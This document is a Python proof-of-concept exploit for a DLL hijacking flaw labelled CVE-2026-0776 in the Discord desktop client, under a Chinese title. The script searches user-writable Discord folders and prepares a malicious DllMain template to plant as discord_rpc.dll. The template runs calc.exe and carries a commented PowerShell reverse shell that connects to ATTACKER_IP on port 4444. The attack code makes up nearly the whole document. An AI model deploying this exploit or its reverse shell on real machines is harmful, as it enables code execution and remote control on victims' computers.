CVE-2026-0776: Discord Client本地权限提升漏洞

# CVE-2026-0776 PoC - Discord Client DLL Hijacking # Target: Discord Client discord_rpc module # Attack Vector: Place malicious DLL in untrusted search path import os import shutil import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate malicious DLL that will be loaded by Discord Client. This DLL creates a reverse shell or executes arbitrary code in the context of the current user. """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Replace this with actual malicious payload // Example: Execute calc.exe for demonstration WinExec("cmd.exe /c calc.exe", SW_HIDE); // For actual exploitation, execute reverse shell: // system("powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""); }} return TRUE; }} ''' return dll_template def find_vulnerable_path(): """ Identify Discord installation paths where DLL can be placed. Discord may load DLLs from current working directory or user-writable locations before system directories. """ discord_paths = [ os.path.expanduser("~\\AppData\\Local\\Discord"), os.path.expanduser("~\\AppData\\Roaming\\discord"), os.path.expanduser("~\\Desktop\\Discord"), os.path.expanduser("~\\Downloads\\Discord") ] vulnerable_paths = [] for path in discord_paths: if os.path.exists(path): # Check if user has write permissions try: test_file = os.path.join(path, ".write_test") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) vulnerable_paths.append(path) except: pass return vulnerable_paths def exploit(): """ Main exploitation routine. 1. Create malicious DLL 2. Place it in Discord DLL search path 3. Wait for user to launch Discord """ print("[*] CVE-2026-0776 Discord Client DLL Hijacking PoC") print("[*] Target: Discord Client - Uncontrolled Search Path Element") # Find vulnerable paths paths = find_vulnerable_path() if not paths: print("[-] No writable Discord directories found") return False print(f"[+] Found {len(paths)} writable paths") # Target DLL that Discord's rpc module attempts to load target_dll = "discord_rpc.dll" for path in paths: dll_path = os.path.join(path, target_dll) print(f"[*] Placing malicious DLL at: {dll_path}") # In real attack, compile and place actual malicious DLL # This PoC creates a placeholder with open(dll_path.replace('.dll', '_exploit_notes.txt'), 'w') as f: f.write("Malicious DLL should be compiled and placed here.\\n") f.write("When Discord loads this DLL, arbitrary code executes.\\n") f.write(create_malicious_dll()) print("[+] Malicious DLL placed. Wait for user to launch Discord.") print("[*] Upon Discord launch, code executes with user privileges.") return True if __name__ == "__main__": exploit()